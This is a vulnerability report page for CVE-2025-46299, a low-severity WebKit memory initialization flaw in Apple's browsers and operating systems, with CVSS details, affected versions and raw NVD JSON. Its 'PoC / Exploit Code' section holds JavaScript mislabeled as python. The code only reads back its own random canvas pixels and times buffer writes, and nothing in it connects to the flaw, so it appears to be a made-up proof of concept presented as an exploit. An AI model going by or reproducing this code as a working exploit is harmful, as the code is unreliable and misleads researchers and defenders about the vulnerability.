Security Vulnerability Report
中文
CVE-2025-46299 CVSS 4.3 MEDIUM

CVE-2025-46299

Published: 2026-01-09 22:16:00
Last Modified: 2026-04-02 19:21:05

Description

A memory initialization issue was addressed with improved memory handling. This issue is fixed in Safari 26.2, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. Processing maliciously crafted web content may disclose internal states of the app.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE
Safari < 26.2
iOS < 26.2
iPadOS < 26.2
macOS Tahoe < 26.2
tvOS < 26.2
visionOS < 26.2
watchOS < 26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-46299 PoC - Memory Initialization Issue in Apple WebKit // Note: This is a conceptual PoC for educational purposes only // Method 1: Using Canvas to trigger memory operations function triggerMemoryLeak() { const canvas = document.createElement('canvas'); canvas.width = 1000; canvas.height = 1000; const ctx = canvas.getContext('2d'); // Create specific patterns to trigger memory initialization for (let i = 0; i < 100; i++) { const imageData = ctx.createImageData(100, 100); // Access pixel data to trigger memory allocation for (let j = 0; j < imageData.data.length; j++) { imageData.data[j] = Math.random() * 255; } ctx.putImageData(imageData, Math.random() * 900, Math.random() * 900); } // Try to extract potential leaked data setTimeout(() => { const extractedData = []; for (let i = 0; i < 10; i++) { const newCanvas = document.createElement('canvas'); const newCtx = newCanvas.getContext('2d'); newCtx.drawImage(canvas, 0, 0); const data = newCtx.getImageData(0, 0, 100, 100).data; // Check for unusual patterns indicating memory leak extractedData.push(Array.from(data.slice(0, 16))); } console.log('Potential leaked data:', extractedData); }, 1000); } // Method 2: Using SharedArrayBuffer and timing attacks async function timingAttackPoC() { if (!crossOriginIsolated) { console.log('Requires cross-origin isolation'); return; } const buffer = new SharedArrayBuffer(1024); const view = new Uint8Array(buffer); // Trigger memory operations for (let i = 0; i < 1000; i++) { view[i % 1024] = Math.floor(Math.random() * 256); } // Measure timing to detect memory state const timings = []; for (let i = 0; i < 100; i++) { const start = performance.now(); view[0] = 1; const end = performance.now(); timings.push(end - start); } console.log('Timing analysis:', timings); } // Execute PoC document.addEventListener('DOMContentLoaded', () => { console.log('CVE-2025-46299 PoC loaded'); triggerMemoryLeak(); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46299", "sourceIdentifier": "[email protected]", "published": "2026-01-09T22:15:59.797", "lastModified": "2026-04-02T19:21:05.157", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory initialization issue was addressed with improved memory handling. This issue is fixed in Safari 26.2, iOS 26.2 and iPadOS 26.2, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. Processing maliciously crafted web content may disclose internal states of the app."}, {"lang": "es", "value": "Se solucionó un problema de inicialización de memoria con una gestión de memoria mejorada. Este problema está solucionado en tvOS 26.2, Safari 26.2, watchOS 26.2, visionOS 26.2, iOS 26.2 y iPadOS 26.2, macOS Tahoe 26.2. El procesamiento de contenido web diseñado maliciosamente puede revelar estados internos de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "3ECBF838-536C-47F9-9876-C526B8ED32EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EA029506-5678-444B-93B5-27DAD643A1C0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "6276FDCA-3407-4FDD-8437-B57C98A97084"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "E0BBFB45-21F3-4B72-8DB1-BE72AFE0D2AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EB10D901-4800-4DF9-AB35-48017C178161"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "15574823-ECE0-4394-99BC-6AFA34E599CC"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125889", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125892", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}